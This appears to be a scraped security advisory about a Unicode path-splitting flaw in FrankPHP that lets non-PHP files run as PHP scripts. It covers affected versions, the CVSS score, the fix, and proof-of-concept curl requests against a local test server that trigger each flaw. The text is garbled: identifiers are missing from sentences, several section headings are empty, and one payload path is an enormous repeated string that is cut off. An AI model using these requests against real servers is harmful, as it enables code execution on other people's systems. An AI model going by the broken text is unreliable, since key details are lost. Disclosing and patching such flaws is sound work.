FrankPHP Unsafe Unicode Handling in CGI Path Splitting Allows RCE

Vulnerability Overview Title: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files Description: The function in incorrectly uses from . When the request path contains non-ASCII bytes, there are two distinct flaws that allow an attacker to trick FrankPHP into treating non- files as scripts. In any deployment, an attacker can inject context into files containing content placed within the FrankPHP service (such as uploads, file storage, etc.), potentially leading to Remote Code Execution (RCE) by constructing a URL path to trigger either flaw. Reporter: KC1z4 and dunglas Scope of Impact Affected Versions: v1.11.2 <= <v1.12.2 Fixed Version: v1.12.3 Severity: High (8.1 / 10) CVSS v3 Base Metrics: - Attack Vector: Network - Attack Complexity: High - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality: High - Integrity: High - Availability: High Remediation Patch: Both flaws share a single fix: completely remove the fallback to and treat any byte in the path as a mismatch. Splitting entries are verified as ASCII and lowercase, which preserves correct behavior and makes Unicode bypasses unrepresentable for each valid path. The replacement is a tight byte loop with no library calls in the hot path. POC Code Runtime Results End-to-End Demonstration Directory Layout: Docker Run Command: Test Commands: ```bash baseline (correctly fails to map .txt or non-php file to PHP) curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.txt/trigger" curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm/trigger" flaw 1 - runs poc-match-unset.txt as PHP curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.NZMAI.txt/trigger" flaw 2 - runs poc-search-norm.php as PHP curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm.SF0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037420F0102037

Goal Reached Thanks to every supporter — we hit 100%!

FrankPHP Unsafe Unicode Handling in CGI Path Splitting Allows RCE

More from this source